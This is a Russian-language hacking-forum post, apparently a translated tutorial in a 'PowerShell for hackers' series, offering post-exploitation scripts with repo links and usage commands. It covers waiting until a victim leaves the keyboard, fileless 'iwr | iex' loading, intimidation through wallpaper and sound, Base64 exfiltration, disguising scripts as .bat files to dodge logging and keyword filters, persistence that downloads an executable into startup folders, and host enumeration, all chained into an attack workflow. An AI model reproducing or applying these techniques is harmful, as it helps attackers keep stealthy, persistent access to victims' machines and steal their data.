PowerShell для хакеров, часть 7: обнаружение пользователей, управление мультимедиа и преобразование файлов

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
153
Депозит
-8.95$
Добро пожаловать обратно, кибервоины!



Мы продолжаем работу над модулем PowerShell для хакеров, и сегодня мы рассмотрим ещё несколько скриптов. Некоторые из них ориентированы на скрытность, например, на проверку того, находится ли пользователь за клавиатурой перед выполнением действий. Другие позволяют обозначить своё присутствие, меняя обои или воспроизводя звуки. У нас также есть скрипты для перемещения данных путём преобразования файлов в текст или обхода ограничений путём маскировки скриптов PowerShell под пакетные файлы. Мы также добавили скрипт с подробным отчётом о системе для повышения привилегий. Кроме того, мы рассмотрим быстрый способ обеспечения персистентности и повторного запуска скрипта после перезагрузки.

Изучение этих данных важно для обеих сторон. Злоумышленники видят, как сохранить доступ, не вызывая подозрений, и получить необходимую информацию. Защитники видят те же уловки с другой стороны, что помогает им понять, на что обращать внимание в журналах и на необычное поведение системы.

Давайте разберем их по порядку.

Обнаружение активности пользователя

Репо:

https://github.com/soupbone89/Scripts/tree/main/Watchman

Первый скрипт предназначен для определения того, действительно ли жертва использует компьютер. Это важнее, чем кажется. Особенно полезно при подключении к скомпрометированному компьютеру через VNC или RDP. Если настоящий пользователь присутствует, ваше внезапное появление на экране сразу же вызовет подозрения. С другой стороны, дождавшись, пока рабочая станция останется без присмотра, вы сможете действовать незаметно.

Скрипт имеет два режима:

Target-Comes: отслеживает горизонтальное перемещение курсора мыши. Если движение не обнаружено, каждые несколько секунд отправляется безвредное нажатие клавиши Caps Lock для поддержания активности. Это поддерживает сеанс и предотвращает блокировку экрана. Как только курсор перемещается, функция останавливается, сообщая, что пользователь вернулся.

Target-Leaves: отслеживает положение курсора в течение заданного интервала. Если курсор не перемещается в течение этого времени, скрипт считает, что пользователь покинул рабочее место. Вы можете указать собственное время бездействия.

Использование простое:

PS > . .\watch.ps1

PS > Target-Comes

PS > Target-Leaves -Seconds 10

показывает скрипт, который отслеживает целевую активность

Для более скрытного использования скрипт можно загрузить непосредственно из памяти с помощью команд, таких как iwr и iex, избегая попадания файлов на диск. Имейте в виду, что эти команды могут отслеживаться в хорошо защищённых средах.

выполнение скрипта мониторинга активности в памяти в PowerShell

Воспроизведение звука

Репо:

https://github.com/soupbone89/Scripts/tree/main/Play Sound

Воспроизведение звукового файла на взломанном компьютере может не иметь прямого оперативного преимущества, но может стать эффективным психологическим инструментом. Некоторые хакеры используют его в конце операции, чтобы сделать своё присутствие очевидным — либо для отвлечения внимания, либо для заявления.

отображение воспроизведения звука в скрипте PowerShell

Скрипт воспроизводит любой WAV-файл по вашему выбору. В зависимости от ваших целей, вы можете включить безобидный звук уведомления, воспроизвести длинный аудиоклип в качестве домогательства или использовать его в сочетании со сменой обоев для максимального эффекта.

PS > . .\play-sound.ps1

PS > PlaySound "C:\Windows\Temp\sound.wav"

выполнение сценария воспроизведения звука

Смена обоев

Репо:

https://github.com/soupbone89/Scripts/tree/main/Change Wallpaper

Смена обоев на рабочем столе жертвы — классический приём, часто применяемый в самом конце атаки. Это символично и наглядно, показывая, что кто-то взял управление в свои руки. Некоторые группы использовали это в политически мотивированных атаках, другие — в операциях по вымогательству, чтобы уведомить жертв или запугать их.

показ скрипта для смены обоев с помощью PowerShell

Этот скрипт поддерживает распространённые форматы, такие как JPG и PNG, хотя Windows преобразует их в BMP. Он прост в использовании и может быть дополнен звуковым сопровождением для ещё большего эффекта.

PS > iwr https://raw.githubusercontent.com/... | iex

PS > Set-WallPaper -Image "C:\Users\Public\hacked.jpg" -Style Fit

смена обоев с помощью PowerShell

Преобразование изображений в Base64

Репо:

https://github.com/soupbone89/Scripts/tree/main/Base642Image

При работе со скомпрометированными компьютерами возможности кражи данных часто ограничены. Возможно, у вас ограниченное подключение к сети или вы ограничены простым сеансом PowerShell без возможности передачи файлов. В таких случаях конвертация файлов в формат Base64 является хорошим решением.

Этот скрипт позволяет кодировать изображения в формат Base64 и сохранять результаты в текстовых файлах. Поскольку текст легко копируется и вставляется, это позволяет перемещать изображения или другие двоичные файлы без их загрузки. Скрипт также может декодировать Base64 обратно в изображение после извлечения текста.

Кодировать:

PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location temp

PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location desk

кодирование с помощью простого инструмента PowerShell

Расшифровать:

PS > b64-img -file "$env:\TMP\encImage.txt" -location temp

декодирование с помощью простого инструмента PowerShell

Благодаря этому изъятые данные можно восстановить в исходном виде на вашем компьютере.

Конвертер текста Base64

Репо:

https://github.com/soupbone89/Scripts/tree/main/Base64 Encoder

Кодирование Base64 подходит не только для изображений. Это один из самых надёжных методов обработки небольших файлов и кодирования командных строк. Некоторые команды могут быть повреждены при прямом копировании, если содержат специальные символы. Кодируя их, вы можете быть уверены в корректной работе.

Этот скрипт может кодировать и декодировать как файлы, так и строки:

PS > B64 -encFile "C:\Users\User\Desktop\example.txt"

PS > B64 -decFile "C:\Users\User\Desktop\example.txt"

PS > B64 -encString 'start notepad'

PS > B64 -decString 'cwB0AGEAcgB0ACAAbgBvAHQAZQBwAGEAZAA='

конвертер текста и скриптов base64

Он даже поддерживает передачу результатов непосредственно в буфер обмена для быстрого использования:

PS > COMMAND | clip

Преобразование скриптов PowerShell в пакетные файлы

Репо:

https://github.com/soupbone89/Scripts/tree/main/Powershell2Bat

В некоторых средах применяется строгий мониторинг PowerShell, протоколирование каждого выполнения скрипта, а иногда и полная блокировка файлов .ps1. Однако пакетные файлы по-прежнему широко используются в корпоративных средах и часто игнорируются.

Этот скрипт преобразует любой PS-файл в BAT-файл, одновременно кодируя его в Base64. Такая комбинация не только маскирует природу скрипта, но и снижает вероятность его обнаружения фильтрами по ключевым словам. Это не гарантирует полной безопасности, но может сэкономить время в условиях ограничений.

PS > . .\ps2bat.ps1

PS > ".\script.ps1" | P2B

конвертация powershell в bat с помощью скрипта
показывающий, как выглядит bat-файл

Результатом будет новый пакетный файл в том же каталоге, готовый к развертыванию.

Установщик автозапуска

Репо:

https://github.com/soupbone89/Scripts/tree/main/Autostart

Это механизм персистентности, который обеспечивает автоматическое выполнение полезной нагрузки при запуске системы или пользовательского сеанса. Он дважды загружает исполняемый файл с предоставленного URL-адреса, сохраняя его в обоих каталогах автозагрузки. Использование Invoke-WebRequest делает загрузку простой и незаметной, без взаимодействия с пользователем. После размещения в этих каталогах автозагрузки исполняемый файл будет автоматически запущен при следующем запуске Windows или входе пользователя в систему.

Это особенно важно для сохранения доступа к системе в течение длительного времени, обеспечения её работоспособности после перезагрузок и обеспечения автоматической повторной активации любых вредоносных действий, таких как бэкдоры, кейлоггеры или агенты управления. Несмотря на свою простоту, этот подход всё же эффективен в средах, где папки автозагрузки не контролируются и не защищаются должным образом.

Сначала отредактируйте скрипт и укажите URL-адрес и имя исполняемого файла, затем запустите его следующим образом:

PS > .\autostart.ps1

выполнение скрипта автозапуска для сохранения работоспособности с помощью PowerShell
скрипт автозапуска захватил полезную нагрузку

Универсальный перечислитель

Репо:

https://github.com/soupbone89/Scripts/tree/main/Enumerator

Этот скрипт, по сути, представляет собой инструмент разведки и аудита системы. Он собирает широкий спектр системной информации и сохраняет результаты в текстовом файле во временном каталоге Windows. Хакеры найдут такой скрипт полезным, поскольку он предоставляет консолидированный отчёт о состоянии скомпрометированной системы. Списки процессов и служб помогут вам найти антивирусное ПО или инструменты мониторинга, работающие на хосте. Статистика использования оборудования показывает, подходит ли система для майнинга криптовалют. Открытые порты показывают потенциальные каналы связи и точки входа для латерального перемещения. Установленное программное обеспечение также проверяется на наличие уязвимых версий или ценных корпоративных приложений. Собирая всю информацию в одном отчёте, вы экономите много времени.

Чтобы не трогать диск после первой компрометации, выполните скрипт в памяти:

PS &gt; iwr <a href="http://github.com/…">http://github.com/…</a> | iex

перечисление системы с помощью скрипта PowerShell часть 1
перечисление системы с помощью скрипта PowerShell часть 1

Все эти данные не только отображаются в консоли, но и записываются в файл отчета, который хранится по адресу C:\Windows\Temp\scan_result.txt.

Краткое содержание

Сегодня мы рассмотрели несколько приёмов PowerShell, которые вы сможете использовать, как только освоитесь. Основное внимание уделяется практическому применению. Вы узнали, как оставаться незамеченным, как оставить след, когда нужно, как тайно передавать данные, когда традиционные каналы связи заблокированы, и как обеспечить сохранение доступа после перезагрузки. Кроме того, есть удобный скрипт, который извлекает массу полезной информации, если вы знаете, что ищете.

Это небольшие и повторяющиеся фрагменты, которые хакеры могут использовать для более масштабных атак. Контроль мыши и загрузчик в памяти обеспечат вам тихий начальный доступ. Добавьте автоматический запуск, и этот тихий доступ сохранится после перезагрузки и станет постоянным бэкдором. Затем запустите перечислитель, чтобы отобразить важные цели для эскалации. Кодирование файлов в Base64 и их вставка небольшими фрагментами превращает заблокированный хост в надежный канал эксфильтрации. Упаковка PowerShell в .bat скрывает намерения достаточно долго, чтобы проводить разведку в средах, где активно ведется журналирование PowerShell. Простые визуальные или звуковые изменения могут использоваться в качестве сигналов в скоординированных кампаниях, пока основная работа происходит в другом месте.
 
Назад
Сверху Снизу